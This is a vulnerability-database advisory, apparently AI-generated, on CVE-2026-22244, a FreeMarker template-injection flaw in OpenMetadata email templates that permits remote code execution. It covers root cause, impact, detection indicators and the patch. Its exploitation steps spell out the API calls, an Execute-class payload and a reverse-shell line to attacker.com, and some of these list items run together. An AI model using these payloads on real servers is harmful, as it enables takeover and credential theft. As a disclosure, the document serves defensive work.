
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-22244 is a Server-Side Template Injection (SSTI) vulnerability in OpenMetadata's FreeMarker email template rendering engine that enables authenticated administrators to achieve remote code execution (RCE). It affects all OpenMetadata versions prior to 1.11.4 and was disclosed on January 8, 2026, with a patch released in version 1.11.4. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.5 (High) (GitHub Advisory, Feedly).
The root cause lies in DefaultTemplateProvider.java (lines 35–45), where user-controlled email template content retrieved from the database is passed directly to FreeMarker's Template constructor without any security restrictions (CWE-1336, CWE-94). The FreeMarker Configuration object is instantiated without setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) or setAPIBuiltinEnabled(false), allowing attackers to use the freemarker.template.utility.Execute class to run arbitrary OS commands. An attacker with administrative privileges can modify an email template via the PATCH /api/v1/docStore/{templateId} API endpoint, injecting a payload such as <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}, which executes when the template is rendered during email dispatch (GitHub Advisory).
Successful exploitation grants the attacker arbitrary OS command execution as the OpenMetadata server process user, resulting in high confidentiality, integrity, and availability impact. Attackers can exfiltrate sensitive data including database credentials, API keys, JWT signing keys, and cloud provider secrets stored in environment variables; modify or delete platform data; and establish persistent reverse shell access. In containerized deployments (e.g., Kubernetes), this could enable lateral movement to connected data sources across OpenMetadata's 70+ connectors, potentially leading to supply chain compromise (GitHub Advisory).
A proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrated by the FPT Cloud AppSec Research Team against OpenMetadata v1.11.2. The CVSS v4.0 exploit maturity is rated PROOF_OF_CONCEPT. Exploitation requires administrative credentials but no user interaction, and the attack is network-accessible with low complexity. The EPSS score is approximately 0.0045 (0.45%), and there is currently no evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory, Feedly).
POST /api/v1/users/login.GET /api/v1/docStore?entityType=EmailTemplate with the admin bearer token to retrieve template IDs (e.g., the testMail template ID).PATCH /api/v1/docStore/{templateId} request with a JSON Patch body replacing the template content with a FreeMarker SSTI payload:[{"op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE: ${ex(\"whoami\")}"}]PUT /api/v1/system/email/test with a target email address. This requires SMTP to be configured or configurable.${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} (GitHub Advisory).PATCH requests to /api/v1/docStore/{id} with application/json-patch+json content type from admin accounts; PUT requests to /api/v1/system/email/test shortly after template modifications; FreeMarker-related Java exceptions or stack traces in application logs./opt/openmetadata) or /tmp; new cron jobs or scripts created by the openmetadata OS user./bin/bash, curl, wget, python, nc); outbound network connections initiated by the Java process to unexpected hosts (GitHub Advisory).Upgrade OpenMetadata to version 1.11.4 or later, which patches the vulnerability by adding sandboxed FreeMarker configuration: setting setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) and setAPIBuiltinEnabled(false) in DefaultTemplateProvider.java. The patch commit also updates dependency versions (FreeMarker and AWS SDK) (GitHub Patch Commit). As interim mitigations, restrict administrative access to trusted personnel only, audit recent changes to email template configurations via the docStore API, and monitor access logs for unauthorized admin activity or suspicious PATCH requests to template endpoints (GitHub Advisory).
The vulnerability was discovered and reported by the FPT Cloud AppSec Research Team (researchers @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14) and disclosed via GitHub's coordinated disclosure process. The advisory was published on January 7–8, 2026, and received coverage from automated CVE tracking services including Vulners, VulDB, and CVEFeed. No significant broader media coverage or notable public researcher commentary beyond the original advisory has been identified (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."